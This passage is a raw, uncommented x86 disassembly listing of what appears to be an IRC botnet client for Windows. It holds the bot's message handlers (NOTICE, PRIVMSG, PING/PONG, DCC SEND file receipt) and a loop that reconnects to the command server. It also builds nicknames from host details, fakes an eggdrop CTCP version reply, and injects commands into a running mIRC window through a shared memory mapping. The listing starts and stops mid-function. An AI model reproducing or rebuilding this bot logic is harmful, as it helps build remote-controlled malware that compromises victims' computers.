loc_40D18D:				; CODE XREF: sub_40D043+13Bj
		call	sub_406A23
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40D1B6
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D1B6:				; CODE XREF: sub_40D043+15Ej
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40D1CF
		call	sub_408E8E
		mov	[ebp+var_250], eax
		jmp	short loc_40D1D9
; ---------------------------------------------------------------------------


loc_40D1CF:				; CODE XREF: sub_40D043+17Dj
		mov	[ebp+var_250], 400h


loc_40D1D9:				; CODE XREF: sub_40D043+18Aj
		mov	eax, [ebp+var_250]
		shr	eax, 0Ah
		mov	[ebp+var_228], eax
		call	sub_408887
		mov	[ebp+var_18C], eax
		mov	[ebp+var_224], offset aB ; "B"
		cmp	[ebp+var_18C], 2EEh
		jnb	short loc_40D213
		mov	[ebp+var_224], offset aA ; "A"


loc_40D213:				; CODE XREF: sub_40D043+1C4j
		cmp	[ebp+var_18C], 1F4h
		jnb	short loc_40D229
		mov	[ebp+var_224], offset aG ; "G"


loc_40D229:				; CODE XREF: sub_40D043+1DAj
		and	[ebp+var_22C], 0
		mov	[ebp+var_220], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_21C]
		rep stosd
		lea	eax, [ebp+var_220]
		push	eax
		call	dword_417030	; GetVersionExA
		cmp	[ebp+var_21C], 5
		jnz	short loc_40D270
		cmp	[ebp+var_218], 1
		jnz	short loc_40D270
		mov	[ebp+var_22C], 1


loc_40D270:				; CODE XREF: sub_40D043+218j
					; sub_40D043+221j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_22C], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_224]
		push	[ebp+var_228]
		push	5Dh
		push	[ebp+var_188]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_24C]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		movsx	eax, byte_41DB34
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DB34
		push	offset dword_41DAB4
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41DAB4
		call	sub_4105FB
		pop	ecx
		movsx	eax, byte_41DBB4
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DBB4
		push	offset dword_41ED48
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41ED48
		call	sub_4105FB
		pop	ecx


loc_40D31D:				; CODE XREF: sub_40D043+295j
					; sub_40D043+2BCj
		jmp	short loc_40D343
; ---------------------------------------------------------------------------


loc_40D31F:				; CODE XREF: sub_40D043+144j
		push	offset dword_41DAA4
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40D343:				; CODE XREF: sub_40D043:loc_40D31Dj
		lea	eax, [ebp+var_80]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		push	offset byte_41EE48
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D363:				; CODE XREF: sub_40D043+F3j
					; sub_40D043+11Bj
		pop	edi
		leave
		retn
sub_40D043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D366	proc near		; CODE XREF: sub_40A9CF+1521p
					; sub_40D871+4A7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF2F
		add	esp, 0Ch
		push	dword_41E9A4
		call	sub_40538D
		pop	ecx
		mov	[ebp+var_4], 0EA60h


loc_40D38E:				; CODE XREF: sub_40D366:loc_40D419j
		push	offset dword_41E898
		call	sub_4105FB
		pop	ecx
		push	offset dword_41E998
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	1
		push	offset dword_41E998
		push	offset dword_41E898
		call	sub_4050EA
		add	esp, 10h
		mov	dword_41E9A4, eax
		push	offset dword_41E898
		call	sub_4105AD
		pop	ecx
		push	offset dword_41E998
		call	sub_4105AD
		pop	ecx
		cmp	dword_41E9A4, 0
		jz	short loc_40D3EE
		push	1
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	short locret_40D41E
; ---------------------------------------------------------------------------


loc_40D3EE:				; CODE XREF: sub_40D366+79j
		push	0
		push	0
		push	0
		call	sub_40CF2F
		add	esp, 0Ch
		push	[ebp+var_4]
		call	dword_41709C	; Sleep
		cmp	[ebp+var_4], 0A4CB80h
		jge	short loc_40D419
		mov	eax, [ebp+var_4]
		add	eax, 0EA60h
		mov	[ebp+var_4], eax


loc_40D419:				; CODE XREF: sub_40D366+A6j
		jmp	loc_40D38E
; ---------------------------------------------------------------------------

locret_40D41E:				; CODE XREF: sub_40D366+86j
		leave
		retn
sub_40D366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D420	proc near		; CODE XREF: sub_4020C2+1DEp
					; sub_40A9CF+1219p ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41E9A4
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4AB	proc near		; CODE XREF: sub_4020C2+21Bp
					; sub_40332B+1A6p ...

var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_1008]
		push	eax
		mov	eax, [ebp+var_1008]
		lea	eax, [ebp+eax+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41E9A4
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D4AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D53F	proc near		; CODE XREF: sub_401244+51p
					; sub_401244+41Ep ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_40D55F
		jmp	locret_40D6C9
; ---------------------------------------------------------------------------


loc_40D55F:				; CODE XREF: sub_40D53F+19j
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 1
		jnz	short loc_40D58F
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D58F:				; CODE XREF: sub_40D53F+2Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jnz	short loc_40D5BB
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A058
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5BB:				; CODE XREF: sub_40D53F+5Aj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D5E7
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A048
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5E7:				; CODE XREF: sub_40D53F+86j
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax


loc_40D605:				; CODE XREF: sub_40D53F+4Ej
					; sub_40D53F+7Aj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+19Fh], 0
		jz	short loc_40D63C
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D629
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D63C


loc_40D629:				; CODE XREF: sub_40D53F+DCj
		push	offset dword_41A03C
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx


loc_40D63C:				; CODE XREF: sub_40D53F+D0j
					; sub_40D53F+E8j
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D680
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D693


loc_40D680:				; CODE XREF: sub_40D53F+133j
		push	offset dword_41A038
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx


loc_40D693:				; CODE XREF: sub_40D53F+13Fj
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41E9A4
		call	sub_4053BF
		add	esp, 0Ch

locret_40D6C9:				; CODE XREF: sub_40D53F+1Bj
		leave
		retn
sub_40D53F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6CB	proc near		; CODE XREF: sub_40332B+205p
					; sub_40332B+212p ...

var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_416BC0
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	1000h
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41E9A4
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D734	proc near		; CODE XREF: sub_40D74D:loc_40D75Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	offset aMirc	; "mIRC"
		call	dword_4171E8	; FindWindowA
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40D734	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D74D	proc near		; CODE XREF: sub_40A9CF+926p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_40D75E
		jmp	locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D75E:				; CODE XREF: sub_40D74D+Aj
		call	sub_40D734
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40D76E
		jmp	short locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D76E:				; CODE XREF: sub_40D74D+1Dj
		push	offset aMirc	; "mIRC"
		push	1000h
		push	0
		push	4
		push	0
		push	0FFFFFFFFh
		call	dword_4170C0	; CreateFileMappingA
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		push	0F001Fh
		push	[ebp+var_8]
		call	dword_4170BC	; MapViewOfFile
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		push	0
		push	1
		push	4C8h
		push	[ebp+var_4]
		call	dword_4171EC	; SendMessageA
		push	0
		push	1
		push	4C9h
		push	[ebp+var_4]
		call	dword_4171EC	; SendMessageA
		push	[ebp+var_C]
		call	dword_4170B8	; UnmapViewOfFile
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40D7E3:				; CODE XREF: sub_40D74D+Cj
					; sub_40D74D+1Fj
		leave
		retn
sub_40D74D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7E5	proc near		; CODE XREF: sub_40A9CF+E3p
					; sub_40D043+2FAp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40D803
; ---------------------------------------------------------------------------


loc_40D7FC:				; CODE XREF: sub_40D7E5:loc_40D86Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40D803:				; CODE XREF: sub_40D7E5+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short locret_40D86F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40D82E
		push	39h
		push	30h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D82E:				; CODE XREF: sub_40D7E5+32j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40D86D
		call	sub_410483
		test	eax, eax
		jz	short loc_40D85A
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D85A:				; CODE XREF: sub_40D7E5+5Ej
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al


loc_40D86D:				; CODE XREF: sub_40D7E5+47j
					; sub_40D7E5+55j ...
		jmp	short loc_40D7FC
; ---------------------------------------------------------------------------

locret_40D86F:				; CODE XREF: sub_40D7E5+24j
		leave
		retn
sub_40D7E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D871	proc near		; CODE XREF: sub_40E618+321p

var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_7D8		= dword	ptr -7D8h
var_7D4		= dword	ptr -7D4h
var_7D0		= dword	ptr -7D0h
var_7CC		= dword	ptr -7CCh
var_7C8		= dword	ptr -7C8h
var_7C4		= byte ptr -7C4h
var_7C0		= dword	ptr -7C0h
var_7BC		= byte ptr -7BCh
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_4B4		= byte ptr -4B4h
var_490		= byte ptr -490h
var_390		= byte ptr -390h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35C		= dword	ptr -35Ch
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_238		= dword	ptr -238h
var_234		= byte ptr -234h
var_213		= byte ptr -213h
var_113		= dword	ptr -113h
var_10F		= byte ptr -10Fh
var_95		= dword	ptr -95h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	edi
		push	offset aPing	; "PING"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8A7
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		push	offset aPongS	; "PONG	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8A7:				; CODE XREF: sub_40D871+1Dj
		push	offset aPong	; "PONG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8C2
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D871+4Aj
		push	offset aMode	; "MODE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8DD
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8DD:				; CODE XREF: sub_40D871+65j
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 1
		jnz	loc_40DB2D
		push	offset dword_41A14C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jz	loc_40DA81
		push	offset aSend	; "SEND"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+10h]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		cmp	[ebp+arg_0], 0
		jz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+20h], 0
		jnz	short loc_40D98B


loc_40D986:				; CODE XREF: sub_40D871+F8j
					; sub_40D871+101j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D871+113j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+14h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 22h
		jnz	short loc_40D99E
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D99E:				; CODE XREF: sub_40D871+126j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+20h]
		and	byte ptr [ecx+eax], 0
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41DAB4
		lea	eax, [ebp+var_213]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_113], 0
		push	7Ah
		push	0
		lea	eax, [ebp+var_10F]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_95], 1
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+18h]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_238], eax
		movzx	eax, byte ptr [ebp+var_238]
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 8
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 10h
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 18h
		movzx	eax, al
		push	eax
		push	offset dword_418A50
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+14h]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_4024F3
		add	esp, 18h
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DA81:				; CODE XREF: sub_40D871+BAj
					; sub_40D871+C7j ...
		push	offset dword_41A138
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DAAD
		push	offset dword_41A12C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DAEB


loc_40DAAD:				; CODE XREF: sub_40D871+224j
		cmp	[ebp+arg_0], 0
		jz	short loc_40DAD1
		push	offset dword_41DC34
		push	3B6h
		push	0
		push	offset dword_41A108
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 14h
		jmp	short loc_40DAE6
; ---------------------------------------------------------------------------


loc_40DAD1:				; CODE XREF: sub_40D871+240j
		push	offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
		push	offset dword_41A0E8
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 0Ch


loc_40DAE6:				; CODE XREF: sub_40D871+25Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DAEB:				; CODE XREF: sub_40D871+23Aj
		push	offset dword_41A0E0
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DB16
		push	offset dword_41A0D8
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	short loc_40DB2D


loc_40DB16:				; CODE XREF: sub_40D871+28Ej
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		push	eax
		push	[ebp+arg_4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DB2D:				; CODE XREF: sub_40D871+80j
					; sub_40D871+8Dj ...
		push	offset a433	; "433"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DCFD
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_2CC], eax
		cmp	[ebp+var_2CC], 4
		jnb	short loc_40DB71
		call	sub_406AE7
		test	eax, eax
		jz	loc_40DCB8


loc_40DB71:				; CODE XREF: sub_40D871+2F1j
		call	sub_406A23
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40DB9A
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DB9A:				; CODE XREF: sub_40D871+314j
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40DBB3
		call	sub_408E8E
		mov	[ebp+var_7E4], eax
		jmp	short loc_40DBBD
; ---------------------------------------------------------------------------


loc_40DBB3:				; CODE XREF: sub_40D871+333j
		mov	[ebp+var_7E4], 400h


loc_40DBBD:				; CODE XREF: sub_40D871+340j
		mov	eax, [ebp+var_7E4]
		shr	eax, 0Ah
		mov	[ebp+var_36C], eax
		call	sub_408887
		mov	[ebp+var_2D0], eax
		mov	[ebp+var_368], offset aB ; "B"
		cmp	[ebp+var_2D0], 3E8h
		jnb	short loc_40DBF7
		mov	[ebp+var_368], offset aA ; "A"


loc_40DBF7:				; CODE XREF: sub_40D871+37Aj
		cmp	[ebp+var_2D0], 1F4h
		jnb	short loc_40DC0D
		mov	[ebp+var_368], offset aG ; "G"


loc_40DC0D:				; CODE XREF: sub_40D871+390j
		and	[ebp+var_370], 0
		mov	[ebp+var_364], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_360]
		rep stosd
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417030	; GetVersionExA
		cmp	[ebp+var_360], 5
		jnz	short loc_40DC54
		cmp	[ebp+var_35C], 1
		jnz	short loc_40DC54
		mov	[ebp+var_370], 1


loc_40DC54:				; CODE XREF: sub_40D871+3CEj
					; sub_40D871+3D7j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_370], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	5Dh
		push	[ebp+var_2CC]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_390]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		jmp	short loc_40DCE5
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: sub_40D871+2FAj
		push	offset dword_41DAA4
		lea	eax, [ebp+var_2C8]
		push	eax
